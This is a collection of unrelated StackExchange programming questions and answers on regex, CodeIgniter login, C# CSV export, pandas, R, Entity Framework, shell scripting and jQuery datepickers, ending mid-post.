text:
Q: Regex to find UUIDs and Text I have a string that looks something like that:
"name=Guy&Id=e8679b5a-bf27-46c6-aaf0-ef0eced1945e&Family.Id=e8679b5a-bf27-46c6-aaf0-ef0eced1945e,aaa79b5a-bf27-46c6-aaf0-ef0eced1945e,eee79b5a-bf27-46c6-aaf0-ef0eced1945e&Children.Id=bbb79b5a-bf27-46c6-aaf0-ef0eced1945e,ccc79b5a-bf27-46c6-aaf0-ef0eced1945e,ddd79b5a-bf27-46c6-aaf0-ef0eced1945e&Father.Id=fff79b5a-bf27-46c6-aaf0-ef0eced1945e"

I would like to have a regex that will find all the combinations (String.Id and their UUIDs) like:
Family | e8679b5a-bf27-46c6-aaf0-ef0eced1945e,aaa79b5a-bf27-46c6-aaf0-ef0eced1945e,vvv79b5a-bf27-46c6-aaf0-ef0eced1945e
Children | bbb79b5a-bf27-46c6-aaf0-ef0eced1945e,ccc79b5a-bf27-46c6-aaf0- ef0eced1945e,ddd79b5a-bf27-46c6-aaf0-ef0eced1945e
Father | fff79b5a-bf27-46c6-aaf0-ef0eced1945e

I am trying to parse this in PostgreSQL, currently I can parse some of it, but not all:
SELECT
regexp_matches('"name=Guy&Id=e8679b5a-bf27-46c6-aaf0-ef0eced1945e&Family.Id=e8679b5a-bf27-46c6-aaf0-ef0eced1945e,aaa79b5a-bf27-46c6-aaf0-ef0eced1945e,vvv79b5a-bf27-46c6-aaf0-ef0eced1945e&Children.Id=bbb79b5a-bf27-46c6-aaf0-ef0eced1945e,ccc79b5a-bf27-46c6-aaf0-ef0eced1945e,ddd79b5a-bf27-46c6-aaf0-ef0eced1945e&Father.Id=fff79b5a-bf27-46c6-aaf0-ef0eced1945e"'
,'&(\w*)\.Id=([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})', 'g')::text

Thanks

A: You could use a regex like so:
(?:name=[^&]+&Id=[^&]+)?&([a-zA-Z]+).Id=([^&]+)

with a replacement of:
$1 | $2\n

What it does:
First it looks for an optional occurrence of name=[^&]+&Id=[^&]+, which is name=, followed by at least one non & character ([^&]+), followed by &Id=, followed by at least one non & character ([^&]+). This is all wrapped in a non capturing group (?: ... ), and is followed by an ? to indicate that the group is optional.
The rest of the regex, looks for an &, followed by the first capturing group ($1) containing at least one alphabet character (([a-zA-Z]+)), followed by .Id=, followed by the second capturing group ($2) of at least one non & character (([^&]+)).


text:
Q: Jquery não valida senha Incorreta Tenho o seguinte jQuery
$(document).ready(function(){

    $('#email').focus();
    $("#formLogin").validate({
         rules :{
              email: { required: true, email: true},
              senha: { required: true}
        },
        messages:{
              email: { required: 'Campo Requerido.', email: 'Insira Email válido'},
              senha: {required: 'Campo Requerido.'}
        },
       submitHandler: function( form ){
            var dados = $( form ).serialize();
            $.ajax({
              type: "POST",
              url: "<?php echo base_url();?>entrega/verificarLogin?ajax=true",
              data: dados,
              dataType: 'json',
              success: function(data)
              {
                if(data.result == true){
                    window.location.href = "<?php echo base_url();?>entrega";
                }
                else{
                    $('#call-modal').trigger('click');
                }
              }
              });
              return false;
        },

        errorClass: "help-inline",
        errorElement: "span",
        highlight:function(element, errorClass, validClass) {
            $(element).parents('.control-group').addClass('error');
        },
        unhighlight: function(element, errorClass, validClass) {
            $(element).parents('.control-group').removeClass('error');
            $(element).parents('.control-group').addClass('success');
        }
    });

});

E tenho o método VerificarLogin, no CodeIgniter.
public function verificarLogin(){

    $this->load->library('form_validation');
    $this->form_validation->set_rules('email','Email','valid_email|required|xss_clean|trim');
    $this->form_validation->set_rules('senha','Senha','required|xss_clean|trim');
    $ajax = $this->input->get('ajax');
    if ($this->form_validation->run() == false) {

        if($ajax == true){
            $json = array('result' => false);
            echo json_encode($json);
        }
        else{

            $this->session->set_flashdata('error','Os dados de acesso estão incorretos.');
            redirect($this->login);
        }
    }
    else {

        $email = $this->input->post('email');
        $senha = $this->input->post('senha');

        $this->load->library('encrypt');
        $senha = $this->encrypt->sha1($senha);

        $this->db->where('email',$email);
        $this->db->where('senha',$senha);
        $this->db->where('status',1);
        $this->db->limit(1);
        $usuario = $this->db->get('usuario')->row();
        $permissao = $usuario->idPermissao;

        $sql = "SELECT * FROM permissoes WHERE idPermissao = '{$permissao}'";
        $permissao = $this->db->query($sql)->row('permissoes');

        if(count($usuario) > 0){

            $dados = array('nome' => $usuario->nome, 'empresa' =>  $usuario->empresa, 'id' => $usuario->idUsuario, 'idCliente' => $usuario->idCliente, 'permissao' => $usuario->idPermissao, 'permissoes' => $permissao, 'logado' => TRUE);
            $this->session->set_userdata($dados);

            if($ajax == true){
                $json = array('result' => true);
                echo json_encode($json);
            }
            else{
                redirect(base_url().'entrega');
            }

        }
        else{

            if($ajax == true){
                $json = array('result' => false);
                echo json_encode($json);
            }
            else{
                $this->session->set_flashdata('error','Os dados de acesso estão incorretos.');
                redirect($this->login);
            }
        }

    }

}

E o HTML:
<form  class="form-vertical" id="formLogin" method="post" action="<?php echo base_url()?>entrega/verificarLogin">
      <?php if($this->session->flashdata('error') != null){?>

              <button type="button" class="close" data-dismiss="alert">×</button>
              <?php echo $this->session->flashdata('error');?>

      <?php }?>

<img src="<?php echo base_url()?>assets/img/logo-home.png" alt="Logo" />

                <input id="email" name="email" type="text" placeholder="Email" />

                <input name="senha" type="password" placeholder="Senha" />

        <button class="btn btn-info btn-large"/> Logar</button>

</form>

Na hora de entrar, entra normal se a senha estiver certa.
Se estiver errada, não vem a mensagem... e não estou conseguindo achar o erro.

A: Aparentemente a validação do login no banco de dados esta sendo feita na condição:
"if(count($usuario) > 0){"
então caso não exista o login e senha digitado, ele entra no else.
Portanto acho que o programa identifica o erro nesse else.
Para saber se está nesse trecho de código, você tem que dar um print dentro dessa condição e fazer um teste com um login que não existe. segue exemplo:
if($ajax == true){

  print('a');

  $json = array('result' => false);
  echo json_encode($json);
} else {

  print('b');

  $this->session->set_flashdata('error','Os dados de acesso estão incorretos.');
  redirect($this->login);
}

se printar "a" ou "b", você já saberá onde alterar o programa para que seja exibido um erro ao entrar com um login inválido.
Espero ter ajudado.

redpajama_set_name: RedPajamaStackExchange


text:
Q: Dynamically create CSV file using select statement in c# I have a website which allows users to download data using specific search criteria (country and dates) to a CSV File. They pick all the information from a dropdown list and a JQuery datepicker.
The export works perfectly for small data sets, but as soon as you try and download 10000 rows of data, it takes a really long time and may even timeout!
I have tried different ways of doing this, but I'd like to stick to this method due to time constraints in this project.
My code is as follows:
        using (SqlConnection con = new SqlConnection(cs))
        {

            if (country.Contains("GB"))
            {
                using (SqlCommand cmd = new SqlCommand("SELECT * from " + logData + " where country in ('GB') and close_date between '" + fromDate + "' and '" + toDate + "'"))
                {
                    using (SqlDataAdapter sda = new SqlDataAdapter())
                    {
                        cmd.Connection = con;
                        sda.SelectCommand = cmd;
                        using (DataTable dt = new DataTable())
                        {
                            sda.Fill(dt);

                            //Build the CSV file data as a Comma separated string.
                            string csv = string.Empty;

                            foreach (DataColumn column in dt.Columns)
                            {
                                //Add the Header row for CSV file.
                                csv += column.ColumnName + ',';
                            }
                            //Console.Write(cmd);
                            //Add new line.
                            csv += "\r\n";

                            foreach (DataRow row in dt.Rows)
                            {
                                foreach (DataColumn column in dt.Columns)
                                {
                                    //Add the Data rows.
                                    //Response.Write(row[column.ColumnName].ToString().Replace(",", ";") + ',');
                                      csv += row[column.ColumnName].ToString().Replace(",", ";") + ',';
                                }

                                //Add new line.
                                csv += "\r\n";
                            }

                            //Download the CSV file.
                             Response.Clear();
                            Response.Buffer = true;
                            Response.AddHeader("content-disposition", "attachment;filename=data.csv");
                            Response.Charset = "";
                            Response.ContentType = "application/text";
                            Response.Output.Write(csv);
                            Response.Flush();
                            Response.End();
                        }
                    }
                }

            }

Response.Write(row[column.ColumnName].ToString().Replace(",", ";") + ',');
csv += row[column.ColumnName].ToString().Replace(",", ";") + ',';

If I use Response.Write..., the file download is MUCH faster, but the data is all on one row and doesn't include headers.
CSV += row... is much slower and occasionally times out
How do I separate the data onto multiple rows if I was to use Response.Write and include headers?
The actual SQL query takes 2 seconds to run and produces 12231 records

A: Yes, string concatenation is very slow, because strings in C# are immutable. I suggest you use the StringBuilder class (https://msdn.microsoft.com/en-us/library/system.text.stringbuilder(v=vs.110).aspx) to construct your string.

A: It looks like you're trying to hold the whole resultset (from your SELECT) in RAM, twice. Don't forget that the point of SQL is, basically, to let you work with data sets that are bigger than any RAM you have.  It doesn't mean you have to do that, but it does mean you should think "a row at a time" when designing your software.
Anyway, you're loading your whole result set into RAM, twice.
Once because you're using SqlDataAdapter rather than SqlDataReader to retrieve the data. SqlDataReader pulls the data a row at a time.
Again because you're trying to put your entire output into a single text string. This works badly (a) because it takes a lot of RAM, and
(b) because  str = str+whatever has to copy the string, erase the old one, and store the new one.  So
 string str = null;
 foreach (item in someLargeCollection) str = str + item;

runs in O(n-squared) time. When n (the size of the collection) is bigger than a few hundred items, that looks like a timeout.
So, quick fix:
     foreach (DataRow row in dt.Rows)
     {
         foreach (DataColumn column in dt.Columns)
         {
             csv += row[column.ColumnName].ToString().Replace(",", ";") + ',';
         }
         csv += "\r\n";
         Response.Write(csv);
         csv = null;
     }

This writes out each line, keeping csv from getting too big, and solves the second problem.
StringBuilder fix ... the right way to build strings:
     foreach (DataRow row in dt.Rows)
     {
         StringBuilder csv = new StringBuilder();
         foreach (DataColumn column in dt.Columns)
         {
             csv.Append(row[column.ColumnName].ToString().Replace(",", ";") + ',');
         }
         csv.AppendLine();
         Response.Write(csv.ToString());
     }

StringBuilder defeats the O(n-squared) problem when creating text strings.
Finally, you should look up the SqlDataReader class.


text:
Q: How to get rid of some long randomly named columns of a form list? Not sure why I got these columns. It could be because of old versions of the form templates. But how can I delete them all together? not one by one?
Thanks.

A: Are they found in multiple Apps / lists / libraries?
If they are in one list, is it using content types?
If no I would just delete the columns manually. (how many do you have in total?)


text:
Q: Create variable that is the previous value of another variable I am looking to create a variable that is that reflects the previous value of a different variable.
The kicker is that I need to group by two variables as well.  I believe that I should be using group_by in dplyr to achieve this. To illustrate the question, consider the dataframe.
library(dplyr)
df = data.frame(trial = c(1,1,2,2,3,3),
  time = c(180,180,190,190,200, 200),
  node = c(1,2,1,2,1,2),
  person = c(1,1,1,1,1,1,2,2,2,2,2,2),
  estimate = seq(1:12))

df = df %>%
  arrange(node, estimate)
df$anticipated = c(NA, 1, 3, NA, 7, 9, NA, 4, 6, NA, 8, 10)

print(df)
   trial time node person estimate anticipated
1      1  180    1      1        1          NA
2      2  190    1      1        3           1
3      3  200    1      1        5           3
4      1  180    1      2        7          NA
5      2  190    1      2        9           7
6      3  200    1      2       11           9
7      1  180    2      1        2          NA
8      2  190    2      1        4           4
9      3  200    2      1        6           6
10     1  180    2      2        8          NA
11     2  190    2      2       10           8
12     3  200    2      2       12          10

The task I am trying to achieve is to create the "anticipated" variable, which reflects the previous value of estimate for each unique combination of person and node.
Any help would be appreciated.


text:
Q: Store update, insert, or delete statement affected an unexpected number of rows (0). Entities may have been modified Getting the below error while updating date fields of our Oracle table that has
Composite Primary Key using Entity Framework. We checked all answers listed in the other thread (Entity Framework: "Store update, insert, or delete statement affected an unexpected number of rows (0).") like entity state, id fields missing, and etc, but none of those helped. So creating new question to get fresh answer for this issue. Please note that we are using DevArt to connect to Oracle database.
"Store update, insert, or delete statement affected an unexpected number of rows (0). Entities may have been modified or deleted since entities were loaded. Refresh ObjectStateManager entries"
Here is the code we are trying:
using (var context = new OracleContext(_connString))
{
    var dbObjT = context.ReportHistoryDatas.FirstOrDefault(x => x.key1.Trim() == "300041" && x.key2== 1);
    if(dbObjT != null)
    {
       dbObjT.DateUpdated = someDate;
       context.SaveChanges();
    }
}

Report History Data entity:
public class ReportHistoryData
{
    //PK ID
    public int key1 { get; set; }

    public string key2{ get; set; }

    public DateTime? DateAdded { get; set; }

    public DateTime? DateUpdated { get; set; }

    public class ReportHistoryDataConfiguration : EntityTypeConfiguration<ReportHistoryData>
    {
        public ReportHistoryDataConfiguration()
        {
            ToTable("REPORTHISTORY");
            HasKey(k => new {k.key1, k.key2});
            Property(p => p.key1).HasColumnName("key1").IsRequired();
            Property(p => p.key2).HasColumnName("key2").IsRequired();
            Property(p => p.DateAdded).HasColumnName("Date_Added");
            Property(p => p.DateUpdated).HasColumnName("Date_Updated");
        }
    }
}

A: I think you are missing to mark the entity as modified:
Try this:
using (var context = new OracleContext(_connString))
{
    var dbObjT = context.ReportHistoryDatas.FirstOrDefault(x => x.key1.Trim() == "300041" && x.key2== 1);
    if(dbObjT != null)
    {
       dbObjT.DateUpdated = someDate;

       //Mark the entity as modified before saving changes.
       context.Entry(dbObjT).State = System.Data.Entity.EntityState.Modified;

       context.SaveChanges();
    }
}


text:
Q: Windows 8 - All of my permissions are broken Windows 8 user here, and when I first started up my new computer, I discovered that almost all the permissions were broken. I did not have write access to several key areas, such as the root directory of my C drive and the startmenu folder (which is required by 70% of installers)
I used a batch script to Take Ownership of all the files on the hard disk, which has made the computer more than useable for the last 4 months, but there are still a lot of issues. The main one is that most of my Services will not start correctly.
I have fixed a couple of these broken services manually (such as Base Filtering Engine, which is a dependency of Windows Firewall) by navigating RegEdit to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\[something] and giving NT Service/[somethingelse] Full Access. Note that [something] is sometimes related to the process name, and other times just SharedAccess. Also, [somethingelse] has so far always been strongly related to the process name.
What I'm wondering is:

*

*What do I need to give permission to in order for Windows Installer
to work properly?

*Is there something I can do to fix all the permissions?

*Failing that, is there a way to find out what specific permissions
are causing a specific error? (Error 5: Access Denied)


text:
Q: Python - Move each character until end of string without reusing original string I'm trying to move each character in a string, until the end of the string, and print each of those. But, without reusing the original string.
So say for the string "hello", the result would be:
hello
ehllo
elhlo
ellho
elloh # here it use this string from the last result, instead of the original one
leloh
lleoh
...
hello # last result

In the above example, the original string appear two times, even though i said "without reusing  original string" but bear in mind it's just there to illustrate the example better.
Here the code i made so far:
import sys

def move_char_by_increment(string, char, increment):
        char_list = list(string)
        old_index = char_list.index(char)
        char = char_list.pop(old_index)
        new_index = old_index + increment
        char_list.insert(new_index, char)
        return ''.join(char_list)

string = sys.argv[1]
total_char_input = len(string)

for char in string:
        for i in range(0,total_char_input):
                print(move_char_by_increment(string, char, i))
sys.exit()

This succeed in moving character one by one until end of string, But, it does reuse the original string instead of doing it like in the above example...i couldn't find a way to make it do what i want.

A: It is kind of like insertion sort. Do you like this answer?
lst = list("hello")
for _ in range(len(lst)):
    for i in range(len(lst) - 1):
        lst[i], lst[i + 1] = lst[i + 1], lst[i]
        print("".join(lst))

output
ehllo
elhlo
ellho
elloh
leloh
lleoh
lloeh
llohe
llohe
lolhe
lohle
lohel
olhel
ohlel
ohell
ohell
hoell
heoll
helol
hello

A: Build the new string from the previous one, slicing and rearranging.
string = "hello"
for pos in range(len(string)-1):
    # swap the chars at locations pos and pos+1
    string = string[:pos] + string[pos+1] + string[pos] + string[pos+2:]
    print(string)

Output:
ehllo
elhlo
ellho
elloh

That handles moving one character from the front to the back.
Now, just repeat that once for each character in the string; it's a simple counting loop, with no reference to the actual characters.  I trust that you can finish from here.

A: If you change your print line to include the original string you will see that it is not being modified by your function.
print(move_char_by_increment(string, char, i), string)

This outputs :
hello hello
ehllo hello
elhlo hello
ellho hello
elloh hello
hello hello
hlelo hello
hlleo hello
hlloe hello
etc...


text:
Q: removing a list of columns from a data.frame using subset I often need to remove lists of columns from a data.frame.
I usually do this:
to.remove <- c("hp","drat","wt","qsec")
mtcars[,-which(names(mtcars) %in% to.remove)]

which works fine.
But I'd like to be able to do this in a cleaner way using subset. But it seems to be attaching the data.frame and then accessing the column names as variables rather than strings.
For instance this is what I would like to be able to do:
subset(mtcars,select=-to.remove)

Is there a way to force subset to use a vectors of strings in the select statement? Or is there another better alternative?

A: You can certainly use select, but you've got to pass in names, not characters. So this will work:
subset( mtcars, select = -c(hp, drat, wt, qsec) )

A: I would probably do this like so:
to.remove <- c("hp","drat","wt","qsec")
`%ni%` <- Negate(`%in%`)
subset(mtcars,select = names(mtcars) %ni% to.remove)

(I use %ni% a lot, so I have it built into my .Rprofile already.)


text:
Q: pandas: conditional select using .loc with MultiIndex I have read doc of Advanced indexing with hierarchical index where using .loc for MultiIndex is explained. Also this thread: Using .loc with a MultiIndex in pandas?
Still I don't see how select rows where (first index == some value) or (second index == some value)
Example:
import pandas as pd

index = pd.MultiIndex.from_arrays([['a', 'a', 'a', 'b', 'b', 'b'],
                                  ['a', 'b', 'c', 'a', 'b', 'c']],
                                  names=['i0', 'i1'])
df = pd.DataFrame({'x': [1,2,3,4,5,6], 'y': [6,5,4,3,2,1]}, index=index)

Is this DataFrame:
       x  y
i0 i1
a  a   1  6
   b   2  5
   c   3  4
b  a   4  3
   b   5  2
   c   6  1

How can I get rows where i0 == 'b' or i1 == 'b'?
       x  y
i0 i1
a  b   2  5
b  a   4  3
   b   5  2
   c   6  1

A: Use get_level_values()
>>> mask = (df.index.get_level_values(0)=='b') | (df.index.get_level_values(1)=='b')
>>> df[mask]  # same as df.loc[mask]

        x   y
i0  i1
a   b   2   5
b   a   4   3
    b   5   2
    c   6   1

A: This might be possible with some logical condition on the index columns i0 and i1 unsing .loc. However to me using .iloc seems easier:
You can get the iloc index via pd.MultiIndex.get_locs.
import pandas as pd
import numpy as np

index = pd.MultiIndex.from_arrays([list("aaabbb"),
                                  list("abcabc")],
                                  names=['i0', 'i1'])
df = pd.DataFrame({'x': [1, 2, 3, 4, 5, 6], 'y': [6, 5, 4, 3, 2, 1]}, index=index)

idx0 = index.get_locs(['b', slice(None)])  # i0 == 'b' => [3, 4, 5]
idx1 = index.get_locs([slice(None), 'b'])  # i1 == 'b' => [1, 4]
idx = np.union1d(idx0, idx1)

print(df.iloc[idx])

will yield
       x  y
i0 i1
a  b   2  5
b  a   4  3
   b   5  2
   c   6  1

Note:
slice(None) means the same as [:] in index-slicing.

A: I think the easier answer is to use the DataFrame.query function which allows you to query the multi-index by name as follows:
import pandas as pd
import numpy as np

index = pd.MultiIndex.from_arrays([list("aaabbb"),
                                  list("abcabc")],
                                  names=['i0', 'i1'])
df = pd.DataFrame({'x': [1, 2, 3, 4, 5, 6], 'y': [6, 5, 4, 3, 2, 1]}, index=index)

df.query('i0 == "b" | i1 == "b"')

returns:
       x  y
i0 i1
a  b   2  5
b  a   4  3
   b   5  2
   c   6  1

A: It is quite some time since this question was raised. After reading the answers available, however, I do see the benefit of adding my response which is going to answer original query exactly and how do it efficiently with minimum coding.
To select multiple indices as in your question, you can do :
df.loc[('b','b')]
Please note most critical point here is to use parenthesis () for indices. This will give an output :
x    5
y    2
Name: (b, b), dtype: int64
You can further add column name ('x' in my case) as if needed by doing as below:
df.loc[('b','b'),'x']
This will give output:
5
Entire process is in the attached image.


text:
Q: Can't Add My Service Reference I have a WCF Data service that I was able to add to my project yesterday. Nothing that I can figure out has changed since then, but now when I delete that reference and try to re-add it, I get the following error:

This service cannot be consumed by the current project. Please check if the project target framework supports this service type.

I am able to browse to the data service URL and the $metadata looks right. I can't seem to find much info on this error
Both the wcf service and the project is .net 4


text:
Q: package to switch on or off 3g and wifi on Android Can anyone please tell me which SDK packages are used for switching on or off 3g and wifi on Android devices.

A: I can't help with 3G (I know the procedure is different between CDMA and GSM networks) but for Wifi, look into the WifiManager class for handling that sort of thing. For example, you could use this to toggle Wifi on and off:
WifiManager wifi = (WifiManager)getSystemService(Context.WIFI_SERVICE);
wifi.setWifiEnabled(!wifi.isWifiEnabled());

EDIT: The package is android.net.wifi


text:
Q: C# Pointer in a HTML file The objective:

Create a marker in a HTML file for the "end" of the file in C#

I am iterating through a file in C# and taking the table values and storing them in a database. The file grows and grows everyday, the results being added in are just being appended to the report.
In C# I have a StreamReader that iterates through each file and places values in a list for insert into a SQL database.
string file_path = @"C:\This\Is\The\Way";
string[] files = Directory.GetFiles(file_path, "*.html", SearchOption.TopDirectoryOnly);
List<string> file_contents = new List<string>();
int* file_pointer; // Create my pointer
foreach(string file in files)
{
    using (StreamReader reader = new StreamReader(file))
    {
        string line = string.Empty;
        while ((line = reader.ReadLine()) != null)
        {
            // Remove  and
            line = line.Substring(4);
            line = line.Remove(4);
            // store in a list
            file_contents.Add(line);

            // Would I leave a pointer here ? then just keep moving it after every line until the end?
            // The thought for line.Contains("	") is that the last line,
            //  will just be moved to the end and the pointer wont show new rows.
            // this way it goes to last
            if(line.Contains("	")
                file_pointer += 1;
         }
    }
    foreach (string item in file_contents)
        // SQL insert, not implemented yet
    file_contents.Clear();
}

"Test" Data

Test Unique to File
Data Point A Unique to Test
Data Point B Unique to Test
Time Taken
Pass/Fail

Test A Run
Data Point A
Data Point B
213 seconds
Pass

Test B Run
Data Point A
Data Point B
3333 seconds
Fail

Test C Run
Data Point A
Data Point B
12 seconds
Pass

The goal is for once the html report is parsed & inserted into the database, a position is marked in that html file.
Then say tomorrow, another 6 rows are added. Instead of iterating through the whole file and just verifying that everything about to be inserted isn't a duplicate, we can just pick up where we left off.
I'm not sure the best way to go about this and would appreciate some guidance.
Question: Would creating a pointer at the end of every  be the best bet?

A: Unless you want to create your html parser (that is a pain in the a**, believe me), I think this could be a solution, that doesn't need line markers.
I'm using HtmlAgilityPack nuget package:
Install-Package HtmlAgilityPack

Then my code would look like this:
private static void Run(string[] files)
{
    var sql = $@"
        MERGE TestsResults AS target
        USING (SELECT @TestId, @DataPointA, @DataPointB, @Duration, @Result) AS source (TestID, DataPointA, DataPointB, Duration, Result)
        ON (target.TestID = source.TestID)
        WHEN MATCHED THEN
            UPDATE SET DataPointA = source.DataPointA, DataPointB = source.DataPointB, Duration = source.Duration, Result = source.Result
        WHEN NOT MATCHED THEN
            INSERT (TestID, DataPointA, DataPointB, Duration, Result)
            VALUES (source.TestID, source.DataPointA, source.DataPointB, source.Duration, source.Result);";
    // Get database connection
    var dbConnection = GetDbConnection();
    // Create base command from sql
    var cmd = dbConnection.CreateCommand();
    cmd.CommandType = CommandType.Text;
    cmd.CommandText = sql;
    var paramsNames = new[] { "@TestId", "@DataPointA", "@DataPointB", "@Duration", "@Result" };

    foreach (var file in files)
    {
        // Using HtmlAgilityPack to load the document
        var doc = new HtmlAgilityPack.HtmlDocument();
        doc.Load(file);
        // Getting all TR from document, skipping first with header
        var rowsCollection = doc.DocumentNode.SelectNodes("//tr").Skip(1);
        foreach (var row in rowsCollection)
        {
            // Getting all TDs in current row and converting contents to string[]
            var values = row.SelectNodes("td").Select(el => el.InnerText).ToArray();

            // insert or update in database: each row is a new DbParameter set for our DbCommand
            cmd.Parameters.Clear();
            for (int i = 0; i < paramsNames.Length; i++)
            {
                var param = cmd.CreateParameter();
                param.ParameterName = paramsNames[i];
                param.DbType = DbType.String;
                param.Value = values[i];
                cmd.Parameters.Add(param);
            }
            // Run the command, will update existing tests and adding new ones
            cmd.ExecuteNonQuery();
        }
    }
}

I'm using the power of MERGE statement for SQL Server: https://learn.microsoft.com/en-us/sql/t-sql/statements/merge-transact-sql.
Basically the MERGE statement will update matching records and inserting new ones.
Please note you could need to do some additional cleaning on the data (e.g. Duration can be converted to int, pass/fail to boolean, ...).
If you are super sure that file generator will always append rows (and will not remove or modify any of the previous worked rows), and don't want to go through already parsed lines, this is the solution:
private static void Run(string[] files)
{
    var sql = $@"
        MERGE TestsResults AS target
        USING (SELECT @TestId, @DataPointA, @DataPointB, @Duration, @Result) AS source (TestID, DataPointA, DataPointB, Duration, Result)
        ON (target.TestID = source.TestID)
        WHEN MATCHED THEN
            UPDATE SET DataPointA = source.DataPointA, DataPointB = source.DataPointB, Duration = source.Duration, Result = source.Result
        WHEN NOT MATCHED THEN
            INSERT (TestID, DataPointA, DataPointB, Duration, Result)
            VALUES (source.TestID, source.DataPointA, source.DataPointB, source.Duration, source.Result);";
    // Get database connection
    var dbConnection = GetDbConnection();
    // Create base command from sql
    var cmd = dbConnection.CreateCommand();
    cmd.CommandType = CommandType.Text;
    cmd.CommandText = sql;
    var paramsNames = new[] { "@TestId", "@DataPointA", "@DataPointB", "@Duration", "@Result" };

    foreach (var file in files)
    {
        // Using HtmlAgilityPack to load the document
        var doc = new HtmlAgilityPack.HtmlDocument();
        doc.Load(file);
        int skipLines = 1;

        // Try to load last line marker file
        var lastLineMarkerPath = Path.ChangeExtension(file, ".llm");
        int lastWorkedLine = 0;
        if (File.Exists(lastLineMarkerPath))
        {
            var text = File.ReadAllText(lastLineMarkerPath);
            if (int.TryParse(text, out lastWorkedLine))
            {
                // if file exists and content is convertible to int, add found value to the numer of line to skip
                skipLines += lastWorkedLine;
            }
        }
        // Getting all TR from document, skipping first with header
        var rowsCollection = doc.DocumentNode.SelectNodes("//tr").Skip(skipLines);
        foreach (var row in rowsCollection)
        {
            // Getting all TDs in current row and converting contents to string[]
            var values = row.SelectNodes("td").Select(el => el.InnerText).ToArray();

            // insert or update in database: each row is a new DbParameter set for our DbCommand
            cmd.Parameters.Clear();
            for (int i = 0; i < paramsNames.Length; i++)
            {
                var param = cmd.CreateParameter();
                param.ParameterName = paramsNames[i];
                param.DbType = DbType.String;
                param.Value = values[i];
                cmd.Parameters.Add(param);
            }
            // Run the command, will update existing tests and adding new ones
            cmd.ExecuteNonQuery();
        }

        // write total row count to last line marker file
        File.WriteAllText(lastLineMarkerPath, (rowsCollection.Count() + lastWorkedLine).ToString());
    }
}

Although I would recommend you work always the whole file.


text:
Q: Rewrite $eval method form angularJs in angular2 I have a piece of angularJs code I need to rewrite in angular2.
$rootScope.$eval(expressionToInterpolate, allowedSetOfParameters)

Is there a way to do this or an npm package that can fill this void since $eval is not an angular function anymore?

A: Below is an example of replacing the $eval logic with javascript

// 'sprvsr_fair==disagree||sprvsr_fair==strongly'

function forgetEval() {
  return this.sprvsr_fair == this.disagree || this.sprvsr_fair == this.strongly;
}

const functionToCall = forgetEval.bind({sprvsr_fair: 1, disagree: 0, sprvsr_fair: 1, strongly: 1}); // bind can be used to tell the compiler to execute in the context, so all the variables are inside the 'this' of the function!

console.log(functionToCall());


text:
Q: Why images set by android:src in xml remain stored in heap? I'm developing an application with various fragment activities with large images. I do not want to keep in memory this images across activities so i unbind the images with setImageBitmap(null). And retore restore images in onResume().
But why have to do the same with images set in xml if app have full reference?
What is the best way to force all images in fragments to not keep in heap when leave activity and force recreate view when go back from other activity?
Why i set "setoffscreenPageLimit(1)" and images of three fragments stay always in heap? 3 is the min?
I'm using fragmentStatePagerAdapter.
Thanks!

A: With "setoffscreenPageLimit(1)" you are telling to the ViewPager to load in memory the next Fragment too. I mean, loads the Fragment of the left and the right of the current Fragment.
And don't try to set "setoffscreenPageLimit(0)", won't work.
-EDIT-
Also, you can set Images programmatically like this instead of setting them by xml.
ImageView imageView = (ImageView)findViewById(R.id.imageview);
Bitmap bitmap = BitmapFactory.decodeResource(getResources(),R.drawable.icon);
imageView.setImageBitmap(bitmap);

A: The best way is recycle your bitmaps when they are no longer use.
if(bitmap!=null)
   {
      bitmap.recycle();
      bitmap=null;

   }

Watch first 20 minuts of this official video if you want to make your day good - http://www.youtube.com/watch?v=_CruQY55HOk


text:
Q: How to get only the file name in the variable and not the complete path shell script? mainFile=$(find /home/INVENT/custREAD -name '*.txt.gz' -type f -mmin 300)

I m using the above line in my shell script to fetch the file from the location /home/INVENT/custREAD for today's date and put it in the variable mainFile
But when I echo this variable, I see:
 /home/INVENT/custREAD/filename.txt

But I want that only the file name to be in the variable,

A: Use finds printf directive.
mainFile=$(find "$dir" -name '*.txt.gz' -type f -mmin 300 -printf '%f\n')

Alternately, you can use shell parameter expansion to strip off the path:
mainFile=$(find "$dir" -name '*.txt.gz' -type f -mmin 300)

mainFile=${mainFile##*/}    # remove the longest prefix ending with slash

A: You can add basename to your find call
mainFile=$(find /home/INVENT/custREAD -name '*.txt.gz' -type f -mmin 300 -exec basename {} \;)

Though I will warn that if you have more than one match your variable will contain multiple paths which will cause things to break (this is independent of my change to your find call).


text:
Q: WebControl vs HtmlControl. Cos and pros using them in web forms application In web forms application, for server code, when use WebControls and when use HtmlControls? For example if I want write some text inside of span tag, should I use:

or
<asp:Label id="someid" runat="server"></asp:Label>

A: The main difference is that HtmlControls only provide a way of addressing a part of the page during the page cycle, whereas WebControls are stateful.
In your example, if you assign some value to the Label text, it will keep it across PostBacks.
In my experience is far better to use HtmlControls if you can, they are much more lightweight and they don't fill up your ViewState. Do use WebControls when you need them to be stateful.
For example, you might want to use a Label for a page title, because you can only assign the value once (typically in Page_OnLoad inside a if (!IsPostBack) block). You might want to use an HTML span to provide some status feedback (where the status is updated at each postback, for example).

A: I would use the span approach. Whatever server control you use it will finally render as an html control.
If your functionality can be done using an html control better use that..
For a server control like data grid you might have to code more to achieve those functionality by using an html table.
In that case you can use a server control.

A: one behaviour of asp:button is it always render as input type=submit
and asp:imagebutton always render as input type=image


text:
Q: How to control manage the min and max values in several data pickers? In my razor view, I've got a bucle where show by each date a startdate and enddate. Each datepicker has a range restriction (I mean, StartDate cannot be large than EndDate).
Here is my razor view

Configure Sixweeks

@for (int i = 0; i < Model.Count; i++) {

    @Model[i].Position
    @Html.TextBoxFor(model => model[i].StartDate, new { id = "from" + i })
    @Html.TextBoxFor(model => model[i].EndDate, new { id = "to" + i })

}

Here is the big deal, I don't know to specify the min and max value. For example if I select February 2 in STARTDATE, the min value in ENDDATE should be February 2. And that's I haven't accomplished yet.
So I employee the concept from this site: http://api.jquery.com/attribute-starts-with-selector/ but it's still not working, what am I missing in the following jquery code?
$("[id^='from']").datepicker({
    defaultDate: "+1w",
    numberOfMonths: 1,
    onClose: function(selectedDate)
    {
        $(this).next("[id^='to']").datepicker("option", "minDate", selectedDate);
    }
});

$("[id^='to']").datepicker({
    defaultDate: "+1w",
    numberOfMonths: 1,
    onClose: function (selectedDate) {
